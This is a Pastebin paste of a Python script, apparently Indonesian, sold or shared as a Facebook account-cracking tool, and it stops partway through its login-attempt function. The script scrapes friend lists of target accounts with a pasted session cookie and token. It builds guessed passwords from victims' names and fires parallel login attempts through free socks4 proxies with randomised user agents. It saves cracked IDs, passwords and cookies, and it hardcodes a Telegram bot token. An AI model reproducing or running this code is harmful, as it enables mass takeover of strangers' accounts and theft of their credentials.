OBF-XIn

202.67.47.13-/sdcard/BrayennnFB.py.py

Jan 23rd, 2023
32
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 44.72 KB | None | 0 0
  1. #Awoakwok Lu Lagi Ngedec Ya Slow Kgk Ada Logger Kok
  2. #Tinggal Make Doang Ngapa Harus Di Dec Sih Om
  3. #Yang Dec Muka Nya Pasti Kek Pentol😁
  4.  
  5. #-----------------[ IMPORT-MODULE ]-------------------
  6. import requests,bs4,json,os,sys,random,datetime,time,re
  7. import urllib3,rich,base64
  8. from rich.table import Table as me
  9. from rich.console import Console as sol
  10. from bs4 import BeautifulSoup as sop
  11. from bs4 import BeautifulSoup as parser
  12. from bs4 import BeautifulSoup as par
  13. from concurrent.futures import ThreadPoolExecutor as tred
  14. from rich.console import Group as gp
  15. from rich.panel import Panel as panel
  16. from rich.panel import Panel as nel
  17. from rich import print as cetak
  18. from rich.markdown import Markdown as mark
  19. from rich.columns import Columns as col
  20. from rich.tree import Tree
  21. from rich import print as rprint
  22. from rich import print as prints
  23. from rich import pretty
  24. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn
  25. from rich.text import Text as tekz
  26. try:
  27.         import rich
  28. except ImportError:
  29.         cetak(nel('\t• Sedang Menginstall Modul Rich •'))
  30.         os.system('pip install rich')
  31. try:
  32.         import stdiomask
  33. except ImportError:
  34.         cetak(nel('\t• Sedang Menginstall Modul Stdiomask •'))
  35.         os.system('pip install stdiomask')
  36. try:
  37.     import requests
  38. except ImportError:
  39.     cetak(nel('\t• Sedang Menginstall Modul Requests •'))
  40.     os.system('pip install requests && pip install mechanize ')
  41. #------------------[ USER-AGENT ]-------------------#
  42. pretty.install()
  43. CON=sol()
  44. ugen2=[]
  45. ugen=[]
  46. cokbrut=[]
  47. ses=requests.Session()
  48. princp=[]
  49. from rich.console import Console
  50. from rich.columns import Columns
  51. wa = Console()
  52. try:
  53.     prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=80000&country=all&ssl=all&anonymity=all').text
  54.     open('.prox.txt','w').write(prox)
  55. except Exception as e:
  56.     print('[[\x1b[1;92m•\x1b[1;97m] [\x1b[1;96mBrayennnXD_Ganteng')
  57. prox=open('.prox.txt','r').read().splitlines()
  58. for xd in range(10000):
  59.     a='Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4A)'
  60.     b=random.randrange(1, 9)
  61.     c=random.randrange(1, 9)
  62.     d='Chrome'
  63.     e=random.randrange(100, 9999)
  64.     f='Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  65.     g=random.randrange(1, 9)
  66.     h=random.randrange(1, 4)
  67.     i=random.randrange(1, 4)
  68.     j=random.randrange(1, 4)
  69.     k='Mobile Safari/E7FBAF'
  70.     uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
  71.     ugen2.append(uaku)
  72.  
  73.  
  74.     aa='Mozilla/5.0 (Linux; Android'
  75.     b=random.choice(['6','7','8','9','10','11','12'])
  76.     c='SM-J415F)'
  77.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  78.     e=random.randrange(1, 999)
  79.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  80.     g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  81.     h=random.randrange(73,100)
  82.     i='0'
  83.     j=random.randrange(4200,4900)
  84.     k=random.randrange(40,150)
  85.     l='Mobile Safari/537.36 OPR/72.5.3767.69342'
  86.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  87.     ugen.append(uaku2)
  88.    
  89.     aa='Mozilla/5.0 (Linux; Android 12;'
  90.     b=random.choice(['6','7','8','9','10','11','12'])
  91.     c='SAMSUNG SM-N986U)'
  92.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  93.     e=random.randrange(1, 999)
  94.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  95.     g='AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/16.0 Chrome/92.0.4515.166'
  96.     h=random.randrange(73,100)
  97.     i='0'
  98.     j=random.randrange(4200,4900)
  99.     k=random.randrange(40,150)
  100.     l='Mobile Safari/537.36'
  101.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  102.     ugen.append(uaku2)
  103.    
  104.     aa='Mozilla/5.0 (Linux; Android 11;'
  105.     b=random.choice(['6','7','8','9','10','11','12'])
  106.     c=' SAMSUNG SM-T225)'
  107.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  108.     e=random.randrange(1, 999)
  109.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  110.     g='AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/13.2 Chrome/83.0.4103.106'
  111.     h=random.randrange(73,100)
  112.     i='0'
  113.     j=random.randrange(4200,4900)
  114.     k=random.randrange(40,150)
  115.     l='Mobile Safari/537.36'
  116.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  117.     ugen.append(uaku2)
  118.    
  119. for x in range(10):
  120.     a='Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  121.     b=random.randrange(100, 9999)
  122.     c=random.randrange(100, 9999)
  123.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  124.     e=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  125.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  126.     g=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  127.     h=random.randrange(1, 9)
  128.     i='Linux; Android 7.1.2; Redmi 4A)'
  129.     j=random.randrange(1, 9)
  130.     k=random.randrange(1, 9)
  131.     l='Mobile Safari/E7FBAF'
  132.     uak=f'{a}{b}/{c}{d}{e}{f}{g}{h}{i}{j}.{k} {l}'
  133. def uaku():
  134.     try:
  135.         ua=open('bbnew.txt','r').read().splitlines()
  136.         for ub in ua:
  137.             ugen.append(ub)
  138.     except:
  139.         a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
  140.         ua=open('.bbnew.txt','w')
  141.         aa=re.findall('line">(.*?)<',str(a))
  142.         for un in aa:
  143.             ua.write(un+'\n')
  144.         ua=open('.bbnew.txt','r').read().splitlines()
  145. #------------[ INDICATION ]---------------#
  146. id,id2,loop,ok,cp,akun,oprek,lisensiku,tokenku,uid,lisensikuni= [],[],0,0,0,[],[],[],[],[],[]
  147. taplikasi=['no']
  148. cokbrut=[]
  149. method = []
  150. pwpluss,pwnya=[],[]
  151. P = '\x1b[1;97m' # PUTIH
  152. M = '\x1b[1;91m' # MERAH
  153. H = '\x1b[1;92m' # HIJAU
  154. K = '\x1b[1;93m' # KUNING
  155. B = '\x1b[1;94m' # BIRU
  156. U = '\x1b[1;95m' # UNGU
  157. O = '\x1b[1;96m' # BIRU MUDA
  158. N = '\x1b[0m'   # WARNA MATI
  159. #------------[ WARNA-COLOR ]--------------#
  160. P = '\x1b[1;97m'
  161. M = '\x1b[1;91m'
  162. H = '\x1b[1;92m'
  163. K = '\x1b[1;93m'
  164. B = '\x1b[1;94m'
  165. U = '\x1b[1;95m'
  166. O = '\x1b[1;96m'
  167. N = '\x1b[0m'    
  168. Z = "\033[1;30m"
  169. sir = '\033[41m\x1b[1;97m'
  170. x = '\33[m' # DEFAULT
  171. m = '\x1b[1;91m' #RED +
  172. k = '\033[93m' # KUNING +
  173. h = '\x1b[1;92m' # HIJAU +
  174. hh = '\033[32m' # HIJAU -
  175. u = '\033[95m' # UNGU
  176. kk = '\033[33m' # KUNING -
  177. b = '\33[1;96m' # BIRU -
  178. p = '\x1b[0;34m' # BIRU +
  179. asu = random.choice([m,k,h,u,b])
  180. #--------------------[ CONVERTER-BULAN ]--------------#
  181. dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
  182. dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
  183. tgl = datetime.datetime.now().day
  184. bln = dic[(str(datetime.datetime.now().month))]
  185. thn = datetime.datetime.now().year
  186. okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  187. cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  188. ID="5587313827";
  189. tok="5660344060:AAED1OE3pftSW0MKvOEBcVugy_wvF-OoA90"
  190. #------------------[ MACHINE-SUPPORT ]---------------#
  191. def alvino_xy(u):
  192.         for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.005)
  193. def clear():
  194.     os.system('clear')
  195. def back():
  196.     login()
  197. #------------------[ LOGO-LAKNAT ]-----------------#
  198. def banner():
  199.     cetak(panel(f"""
  200. ______ ___  _____  ___________  _____  _____ _   __
  201. |  ___/ _ \/  __ \|  ___| ___ \|  _  ||  _  | | / /
  202. | |_ / /_\ \ /  \/| |__ | |_/ /| | | || | | | |/ /     |  |    Thanks To DerrXr
  203. |  _||  _  | |    |  __|| ___ \| | | || | | |    \    |  |    Recode ByBrayennnXD
  204. | |  | | | | \__/\| |___| |_/ /\ \_/ /\ \_/ / |\ \   |  |    Version 2.1
  205. \_|  \_| |_/\____/\____/\____/  \___/  \___/\_| \_/                                                                                                    
  206.             """,width=90,title=f"BANNER",style=f""))
  207. #--------------------[ BAGIAN-MASUK ]--------------#
  208. def login():
  209.     try:
  210.         token = open('.token.txt','r').read()
  211.         cok = open('.cok.txt','r').read()
  212.         tokenku.append(token)
  213.         try:
  214.             sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
  215.             sy2 = json.loads(sy.text)['name']
  216.             sy3 = json.loads(sy.text)['id']
  217.             menu(sy2,sy3)
  218.         except KeyError:
  219.             login_lagi334()
  220.         except requests.exceptions.ConnectionError:
  221.             li = '# PROBLEM INTERNET CONNECTION, CHECK AND TRY AGAIN'
  222.             lo = mark(li, style='red')
  223.             sol().print(lo, style='cyan')
  224.             exit()
  225.     except IOError:
  226.         login_lagi334()
  227. def login_lagi334():
  228.     try:
  229.         os.system('clear')
  230.         banner()
  231.         cetak(nel('\tSARAN EXTENSION : [green]COOKIEDOUGH[white]'))
  232.         ses = requests.Session()
  233.         cookie = input('\nMasukan Cookie : ')
  234.         cookies = {'cookie':cookie}
  235.         url = 'https://www.facebook.com/adsmanager/manage/campaigns'
  236.         req = ses.get(url,cookies=cookies)
  237.         set = re.search('act=(.*?)&nav_source',str(req.content)).group(1)
  238.         nek = '%s?act=%s&nav_source=no_referrer'%(url,set)
  239.         roq = ses.get(nek,cookies=cookies)
  240.         tok = re.search('accessToken="(.*?)"',str(roq.content)).group(1)
  241.         tokenw = open(".token.txt", "w").write(tok)
  242.         cokiew = open(".cok.txt", "w").write(cookie)
  243.         print('\nLogin Berhasil | python BrayennnFB.py')
  244.     except Exception as e:
  245.         os.system('rm -rf .cok.txt && rm -rf .token.txt')
  246.         print(e)
  247.         exit()
  248. #------------------[ BAGIAN-MENU ]----------------#
  249. def menu(my_name,my_id):
  250.     try:
  251.         token = open('.token.txt','r').read()
  252.         cok = open('.cok.txt','r').read()
  253.     except IOError:
  254.         print('[×] Cookies Kadaluarsa ')
  255.         time.sleep(5)
  256.         login_lagi334()
  257.     os.system('clear')
  258.     banner()
  259.     ip = requests.get("https://api.ipify.org").text
  260.     cetak(panel(f'[bold white][[bold green]•[/][bold white]][/] [bold white]Username : [bold green]{my_name}[/]\n[bold white][[bold green]•[/][bold white]][/] [bold white]User Idz : [bold green]{my_id}[/]\n[bold white][[bold green]•[/][bold white]][/] [bold white]User Ip  : [bold green]{ip}[/][/] ',width=90,title=f"[bold green]Infomasi",style=f"bold white"))
  261.     cetak(panel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]Crack Publick [ ON ][/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]Crack Massal [ ON ][/]\n[bold white][[bold green]03[/][bold white]][/] [bold white]Cek Hasil Crack [ ON ][/]\n[bold white][[bold green]00[/][bold white]][/] [bold red]Hapus Cookies [ ON ][/]',width=90,title=f"[bold green]List Menu",style=f"bold white"))
  262.     _____brayennn___xd____ = input(f'\n{M} └── {P}Pilih Menu Crack : ')
  263.     if _____brayennn___xd____ in ['1','01']:
  264.         brayen_dump()
  265.     elif _____brayennn___xd____ in ['2','02']:
  266.         dump_massal()
  267.     elif _____brayennn___xd____ in ['3','03']:
  268.         result()
  269.     elif _____brayennn___xd____ in ['0','00']:
  270.         os.system('rm -rf .token.txt')
  271.         os.system('rm -rf .cookie.txt')
  272.         print(f'{m}Sukses Logout+Hapus Kukis{x}')
  273.         exit()
  274.     else:
  275.         print('Pilih Yang Bener Asu ')
  276.         back()
  277. def error():
  278.     print(f'Maaf Fitur Ini Masih Di Perbaiki')
  279.     time.sleep(4)
  280.     back()
  281. #-----------------[ HASIL-CRACK ]-----------------#
  282. def result():
  283.     cetak(panel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]Hasil OK[/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]Hasil CP[/]\n[bold white][[bold green]03[/][bold white]][/] [bold red]Kembali[/]',width=90,title=f"[bold white]• [/][bold green]List Menu Cek[/][bold white] •[/]",style=f"bold white"))
  284.     kz = input(f'\n {P}[{x}{H}?{x}{P}]{x} {P}select{x} : ')
  285.     if kz in ['2','02']:
  286.         try:vin = os.listdir('CP')
  287.         except FileNotFoundError:
  288.             print('File Tidak Di Temukan ')
  289.             time.sleep(3)
  290.             back()
  291.         if len(vin)==0:
  292.             print('Anda Tidak Memiliki Hasil CP ')
  293.             time.sleep(2)
  294.             back()
  295.         else:
  296.             cih = 0
  297.             lol = {}
  298.             for isi in vin:
  299.                 try:hem = open('CP/'+isi,'r').readlines()
  300.                 except:continue
  301.                 cih+=1
  302.                 if cih<10:
  303.                     nom = '0'+str(cih)
  304.                     lol.update({str(cih):str(isi)})
  305.                     lol.update({nom:str(isi)})
  306.                     print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  307.                 else:
  308.                     lol.update({str(cih):str(isi)})
  309.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  310.             geeh = input(f'\n {P}[{x}{H}?{x}{P}]{x} {P}select{x} : ')
  311.             try:geh = lol[geeh]
  312.             except KeyError:
  313.                 print(' └──  Pilih Yang Bener Kontol ')
  314.                 exit()
  315.             try:lin = open('CP/'+geh,'r').read().splitlines()
  316.             except:
  317.                 print(' └──  File Tidak Di Temukan ')
  318.                 time.sleep(2)
  319.                 back()
  320.             nocp=0
  321.             for cpku in range(len(lin)):
  322.                 cpkuni=lin[nocp].split('|')
  323.                 cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
  324.                 sol().print(mark(cpkuh,style="yellow"))
  325.                 nocp +=1
  326.             input('[ Klik Enter ]')
  327.             back()
  328.     elif kz in ['1','01']:
  329.         try:vin = os.listdir('OK')
  330.         except FileNotFoundError:
  331.             print(' └──  File Tidak Di Temukan ')
  332.             time.sleep(2)
  333.             back()
  334.         if len(vin)==0:
  335.             print(' └──  Anda Tidak Mempunyai File OK ')
  336.             time.sleep(2)
  337.             back()
  338.         else:
  339.             cih = 0
  340.             lol = {}
  341.             for isi in vin:
  342.                 try:hem = open('OK/'+isi,'r').readlines()
  343.                 except:continue
  344.                 cih+=1
  345.                 if cih<80:
  346.                     nom = '0'+str(cih)
  347.                     lol.update({str(cih):str(isi)})
  348.                     lol.update({nom:str(isi)})
  349.                     print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  350.                 else:
  351.                     lol.update({str(cih):str(isi)})
  352.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  353.             geeh = input('\n └──  Pilih : ')
  354.             try:geh = lol[geeh]
  355.             except KeyError:
  356.                 print('Pilih Yang Bener Kontol ')
  357.                 exit()
  358.             try:lin = open('OK/'+geh,'r').read().splitlines()
  359.             except:
  360.                 print('File Tidak Di Temukan ')
  361.                 time.sleep(2)
  362.                 back()
  363.             nocp=0
  364.             for cpku in range(len(lin)):
  365.                 cpkuni=lin[nocp].split('|')
  366.                 cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
  367.                 sol().print(mark(cpkuh,style="green"))
  368.                 print(f'{hh}COOKIE : {x}{cpkuni[2]}')
  369.                 nocp +=1
  370.             input('[ Klik Enter ]')
  371.             back()
  372.     elif kz in ['3','03']:
  373.         back()
  374.     else:
  375.         print('Pilih Yang Bener Kontol ')
  376.         exit()
  377. #-------------------[ CRACK-PUBLIK-MASSAL]----------------#
  378. def brayen_dump():
  379.     try:
  380.         token = open('.token.txt','r').read()
  381.         kukis = open('.cok.txt','r').read()
  382.     except IOError:
  383.         exit()
  384.     cetak(panel('\t            [bold white]Ketik [bold green]Me[/] Jika Ingin Crack Pertemanan Sendiri',width=90,style='bold white'))
  385.     pil = input(f'{M} └── {P}Masukan ID target : ')
  386.     try:
  387.         koh2 = requests.get('https://graph.facebook.com/v1.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0],cookies={'cookie': kukis}).json()
  388.         for pi in koh2['friends']['data']:
  389.             try:id.append(pi['id']+'|'+pi['name'])
  390.             except:continue
  391.         print('')
  392.         print(f'{M} └── {P}Total ID yang Terkumpul : {h}'+str(len(id)))
  393.         setting()
  394.     except requests.exceptions.ConnectionError:
  395.         print(' └── Internetmu Gak Ada Bodoh')
  396.         exit()
  397.     except (KeyError,IOError):
  398.         print(' └── Pertemanan Tidak Publick Atau Cookie And Token Anda Busuk')
  399.         exit()
  400. #-------------------[ CRACK-PUBLIK ]----------------#
  401. def dump_massal():
  402.     try:
  403.         token = open('.token.txt','r').read()
  404.         cok = open('.cok.txt','r').read()
  405.     except IOError:
  406.         exit()
  407.     try:
  408.         cetak(panel(f'[bold white]\t Jika Ada Sesuatu Yang Terjadi Kami Tidak Bertanggung Jawab[/]',width=90,title=f"[bold green]Crack Massal",style=f"bold white"))
  409.         jum = int(input(f' {P}Mau Berapa Idz Target {x} : '))
  410.     except ValueError:
  411.         print(' └──  Wrong input ')
  412.         exit()
  413.     if jum<1 or jum>80:
  414.         print(f' [{h}*{x}] Friendship Not Public  ')
  415.         exit()
  416.     ses=requests.Session()
  417.     yz = 0
  418.     for met in range(jum):
  419.         yz+=1
  420.         kl = input(f' {P}Masukan Idz Target Yang Ke '+str(yz)+' : ')
  421.         uid.append(kl)
  422.     for userr in uid:
  423.         try:
  424.             col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
  425.             for mi in col['friends']['data']:
  426.                 try:
  427.                     iso = (mi['id']+'|'+mi['name'])
  428.                     if iso in id:pass
  429.                     else:id.append(iso)
  430.                 except:continue
  431.         except (KeyError,IOError):
  432.             pass
  433.         except requests.exceptions.ConnectionError:
  434.             print('  └──  unstable signal ')
  435.             exit()
  436.     try:
  437.         print(f' {P}Total Idz Target Yang Terkumpul{x} : {h}'+str(len(id)))
  438.         setting()
  439.     except requests.exceptions.ConnectionError:
  440.         print(f'{x}')
  441.         print(' └──  Unstable signal ')
  442.         back()
  443.     except (KeyError,IOError):
  444.         print(f'  └── {k} Friendship Not Public {x}')
  445.         time.sleep(3)
  446.         back()
  447. #-------------[ PENGATURAN-IDZ ]---------------#
  448. def setting():
  449.     cetak(panel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]Crack Idz Old [ Not Recommended ][/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]Crack Idz New [ Recommended][/]\n[bold white][[bold green]03[/][bold white]][/] [bold white]Crack Idz Random [ Very Recommended ][/]',width=90,title=f"[bold green]Setting Urutan Idz",style=f"bold white"))
  450.     print('')
  451.     hu = input(f'{M} └── {P}Pilih urutan id : ')
  452.     if hu in ['1','01']:
  453.         for tua in sorted(id):
  454.             id2.append(tua)
  455.  
  456.     elif hu in ['2','02']:
  457.         muda=[]
  458.         for bacot in sorted(id):
  459.             muda.append(bacot)
  460.         bcm=len(muda)
  461.         bcmi=(bcm-1)
  462.         for xmud in range(bcm):
  463.             id2.append(muda[bcmi])
  464.             bcmi -=1
  465.     elif hu in ['3','03']:
  466.         for bacot in id:
  467.             xx = random.randint(0,len(id2))
  468.             id2.insert(xx,bacot)
  469.     else:
  470.         print(' Pilih Yang Bener Kontooll ')
  471.         exit()
  472.     cetak(panel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]Metode M.facebook.com [ Recommended ][/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]Metode Mbasic.facebook.com [ Very Recommended ][/]\n[bold white][[bold green]03[/][bold white]][/] [bold white]Metode Free.facebook.com [ Very Recommended ][/]\n[bold white][[bold green]04[/][bold white]][/] [bold white]Metode M.facebook.com V2 [ Recommended ][/]',width=90,title=f"[bold green]Setting Metode",style=f"bold white"))
  473.     print('')
  474.     hc = input(f'{M} └── {P}Pilih metode : ')
  475.     if hc in ['1','01']:
  476.         method.append('mobile')
  477.     elif hc in ['2','02']:
  478.         method.append('mbasic')
  479.     elif hc in ['3','03']:
  480.         method.append('free')
  481.     elif hc in ['4','04']:
  482.         method.append('touch')
  483.     else:
  484.         method.append('mobile')
  485.     print('')
  486.     _jembot_ = input(' └── Tampilkan Aplikasi y/t : ')
  487.     cetak(panel('''[bold white][[bold green]01[bold white]] [bold white]Nama, Nama123, Nama1234 [ Recommended ]
  488. [bold white][[bold green]02[bold white]] [bold white]Nama, Nama123, Nama1234, Nama12345 [ Recommended ]
  489. [bold white][[bold green]03[bold white]] [bold white]Nama, Nama123, Nama1234, Nama12345 + Manual [ Not Recommended ]''',style='bold white',title='[bold green]Setting Password',width=90))
  490.     if _jembot_ in ['']:
  491.         print(' └──  Pilih Yang Bener ')
  492.         back()
  493.     elif _jembot_ in ['y','Y']:
  494.         taplikasi.append('ya')
  495.     else:
  496.         taplikasi.append('no')
  497.     pwplus=input(f'{M} └── {P}Pilih sandi : ')
  498.     if pwplus in ['03','3']:
  499.         pwpluss.append('ya')
  500.         pwku=input(f'{M} └── {P}Sandi : ')
  501.         pwkuh=pwku.split(',')
  502.         for xpw in pwkuh:
  503.             pwnya.append(xpw)
  504.     else:
  505.         pwpluss.append('no')
  506.     passwrd()
  507. #-------------------[ BAGIAN-WORDLIST ]------------#
  508. def passwrd():
  509.     global prog,des
  510.     print('')
  511.     urut = []
  512.     urut.append(panel(f'        [bold green]%s [bold white]'%(okc),width=43,title=f"[bold green]OK SAVE IN",style=f"bold white"))
  513.     urut.append(panel(f'         [bold yellow]%s [bold white]'%(cpc),width=44,title=f"[bold yellow]CP SAVE IN",style=f"bold white"))
  514.     wa.print(Columns(urut))
  515.     cetak(panel(f'\t[bold white]On/Off Mode Pesawat Setiap 500 Idz Agar Terhindar Dari Spam Ip',width=90,title=f"[bold green]Informasi",subtitle=f"[bold green]Proses Crack",style=f"bold white"))
  516.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  517.     des = prog.add_task('',total=len(id2))
  518.     with prog:
  519.         with tred(max_workers=30) as pool:
  520.             for yuzong in id2:
  521.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  522.                 frs = nmf.split(' ')[0]
  523.                 pwv = []
  524.                 if len(nmf)<6:
  525.                     if len(frs)<3:
  526.                         pass
  527.                     else:
  528.                         pwv.append(frs+'123')
  529.                         pwv.append(frs+'1234')
  530.                         pwv.append(frs+'12345')
  531.                 else:
  532.                     if len(frs)<3:
  533.                         pwv.append(nmf)
  534.                     else:
  535.                         pwv.append(nmf)
  536.                         pwv.append(frs+'123')
  537.                         pwv.append(frs+'1234')
  538.                         pwv.append(frs+'12345')
  539.                 if 'ya' in pwpluss:
  540.                     for xpwd in pwnya:
  541.                         pwv.append(xpwd)
  542.                 else:pass
  543.                 if 'mobile' in method:
  544.                     pool.submit(crack,idf,pwv)
  545.                 elif 'free' in method:
  546.                     pool.submit(crackfree,idf,pwv)
  547.                 elif 'touch' in method:
  548.                     pool.submit(cracktouch,idf,pwv)
  549.                 elif 'mbasic' in method:
  550.                     pool.submit(crackmbasic,idf,pwv)
  551.                 else:
  552.                     pool.submit(crackmbasic,idf,pwv)
  553.         print('')
  554.     print(f'  Crack Telah Selesai,Semoga Anda Bersyukur Dengan Hasil Nya')
  555.     print(f'  [{h}•{x}]{h} OK : {h}%s '%(ok))
  556.     print(f'{x}  [{h}•{x}]{k} CP : {k}%s{x} '%(cp))
  557.    
  558. #--------------------[ METODE MOBILE V1 ]-----------------#
  559. def crack(idf,pwv):
  560.     global loop,ok,cp
  561.     bo = random.choice([m,k,h,b,u,x])
  562.     ua = random.choice(ugen)
  563.     ua2 = random.choice(ugen2)
  564.     ses = requests.Session()
  565.     prog.update(des,description=f"{h}BrayennnXD{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  566.     prog.advance(des)
  567.     for pw in pwv:
  568.         try:
  569.             nip=random.choice(prox)
  570.             proxs= {'http': 'socks4://'+nip}
  571.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  572.             p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
